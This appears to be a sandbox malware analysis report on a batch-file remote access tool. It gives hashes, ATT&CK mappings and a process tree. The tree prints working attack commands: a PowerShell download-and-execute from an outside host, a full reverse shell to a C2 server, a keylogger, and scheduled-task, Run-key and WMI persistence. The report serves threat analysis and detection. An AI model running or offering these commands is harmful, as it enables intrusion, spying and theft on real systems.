32d2d99cc4df4e52b31e0ae48a7f9a93317a630831a1ad5941298f276a553655

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:18

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General

Target
rat_build_80918_014250.bat
Size 4KB
Sample260529-18d91aas2w
SHA256 32d2d99cc4df4e52b31e0ae48a7f9a93317a630831a1ad5941298f276a553655
MD5 74363f9a781de65c60c49cd172801344
SHA1 ebe7eb285fd6092f126b43aa0dc99b6faed06e24
SHA512 99160a81eb1b5454dbe60cff0e036ba43655ef1e3801080c0d8267e3cb1245ce32934a3aef27fdc7411e256bd7b21e4f07388fe0bc974752cac193f55ac1ad93
SSDEEP 96:DIAQWTIhiJUrTI4NLXM4Vp7Fp6UQTocQQJvSUgz47TaTFTEDT6iFgZk8mvlo19Uh:DvTIhiJv4NLXM4WJowhSUnexY+iFgkHD
TLSH
T13BB1F91363B7722089F12228DD333868536CE6F71305ED9DBB098EC40A5CEC3911AAD7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_80918.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4796	powershell.exe
3676	powershell.exe
3992	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_80918 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_80918.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3896	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4100	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4728	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2052	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3676	powershell.exe
3676	powershell.exe
3992	powershell.exe
3992	powershell.exe
4796	powershell.exe
4796	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3004	WMIC.exe
Token: SeSecurityPrivilege	3004	WMIC.exe
Token: SeTakeOwnershipPrivilege	3004	WMIC.exe
Token: SeLoadDriverPrivilege	3004	WMIC.exe
Token: SeSystemProfilePrivilege	3004	WMIC.exe
Token: SeSystemtimePrivilege	3004	WMIC.exe
Token: SeProfSingleProcessPrivilege	3004	WMIC.exe
Token: SeIncBasePriorityPrivilege	3004	WMIC.exe
Token: SeCreatePagefilePrivilege	3004	WMIC.exe
Token: SeBackupPrivilege	3004	WMIC.exe
Token: SeRestorePrivilege	3004	WMIC.exe
Token: SeShutdownPrivilege	3004	WMIC.exe
Token: SeDebugPrivilege	3004	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3004	WMIC.exe
Token: SeRemoteShutdownPrivilege	3004	WMIC.exe
Token: SeUndockPrivilege	3004	WMIC.exe
Token: SeManageVolumePrivilege	3004	WMIC.exe
Token: 33	3004	WMIC.exe
Token: 34	3004	WMIC.exe
Token: 35	3004	WMIC.exe
Token: 36	3004	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3004	WMIC.exe
Token: SeSecurityPrivilege	3004	WMIC.exe
Token: SeTakeOwnershipPrivilege	3004	WMIC.exe
Token: SeLoadDriverPrivilege	3004	WMIC.exe
Token: SeSystemProfilePrivilege	3004	WMIC.exe
Token: SeSystemtimePrivilege	3004	WMIC.exe
Token: SeProfSingleProcessPrivilege	3004	WMIC.exe
Token: SeIncBasePriorityPrivilege	3004	WMIC.exe
Token: SeCreatePagefilePrivilege	3004	WMIC.exe
Token: SeBackupPrivilege	3004	WMIC.exe
Token: SeRestorePrivilege	3004	WMIC.exe
Token: SeShutdownPrivilege	3004	WMIC.exe
Token: SeDebugPrivilege	3004	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3004	WMIC.exe
Token: SeRemoteShutdownPrivilege	3004	WMIC.exe
Token: SeUndockPrivilege	3004	WMIC.exe
Token: SeManageVolumePrivilege	3004	WMIC.exe
Token: 33	3004	WMIC.exe
Token: 34	3004	WMIC.exe
Token: 35	3004	WMIC.exe
Token: 36	3004	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5036	WMIC.exe
Token: SeSecurityPrivilege	5036	WMIC.exe
Token: SeTakeOwnershipPrivilege	5036	WMIC.exe
Token: SeLoadDriverPrivilege	5036	WMIC.exe
Token: SeSystemProfilePrivilege	5036	WMIC.exe
Token: SeSystemtimePrivilege	5036	WMIC.exe
Token: SeProfSingleProcessPrivilege	5036	WMIC.exe
Token: SeIncBasePriorityPrivilege	5036	WMIC.exe
Token: SeCreatePagefilePrivilege	5036	WMIC.exe
Token: SeBackupPrivilege	5036	WMIC.exe
Token: SeRestorePrivilege	5036	WMIC.exe
Token: SeShutdownPrivilege	5036	WMIC.exe
Token: SeDebugPrivilege	5036	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5036	WMIC.exe
Token: SeRemoteShutdownPrivilege	5036	WMIC.exe
Token: SeUndockPrivilege	5036	WMIC.exe
Token: SeManageVolumePrivilege	5036	WMIC.exe
Token: 33	5036	WMIC.exe
Token: 34	5036	WMIC.exe
Token: 35	5036	WMIC.exe
Token: 36	5036	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5036	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4744 wrote to memory of 2052	4744	cmd.exe	86
PID 4744 wrote to memory of 4728	4744	cmd.exe	87
PID 4744 wrote to memory of 3004	4744	cmd.exe	88
PID 4744 wrote to memory of 5036	4744	cmd.exe	90
PID 4744 wrote to memory of 5088	4744	cmd.exe	91
PID 4744 wrote to memory of 4100	4744	cmd.exe	93
PID 4744 wrote to memory of 3896	4744	cmd.exe	100
PID 4744 wrote to memory of 3676	4744	cmd.exe	101
PID 4744 wrote to memory of 3992	4744	cmd.exe	102
PID 4744 wrote to memory of 4796	4744	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_80918_014250.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4744
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_80918" /tr "C:\Users\Admin\AppData\Local\Temp\_80918.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2052
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_80918" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_80918.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4728
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_80918", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_80918", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_80918.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5036
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_80918.txt
  2⤵
  PID:5088
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4100
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_80918.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9727f0dcd05aaf5b409c7e30b46d0cdc41e353cdf800c2034d495952979e7bb9
MD5 bee76d854df6a042cd2edf79b26925e4
SHA1 9053ea98b0eddb2bab6bbfd6e79578ece5021eb3
SHA512 3f627dc24dd4f22ec71783aebfa7adf7a8c02b1c7bb6ea11adde03dc6fbb15255ea13fcc8e4e6526060861ba7ae9e8f5d09f043a38e52eacbf363d0cfd9f3f0e
TLSH
T106115727B39C8921CC96153A409D9C1172B683D7819EDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 02f480620132cb6ea1fc4f651610692e2b5b121c5f0ad68699e0670fd9994961
MD5 b039ee0dadcb1ada767fa6cdd138f0de
SHA1 d30b5d432351c942213db1d8848b56dee00b9114
SHA512 f975bac071093a9c7a15cdc7ff0a77effb22d6cd774e79abf471922f8f29582bce5c4ef79637933e3c7c44fd11a1b09a6e2cc38de0496e443717287b50c35b0d
TLSH
T16C115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_r4j1fkq0.eww.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4j1fkq0.eww.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3676-3-0x000002183B3F0000-0x000002183B412000-memory.dmp

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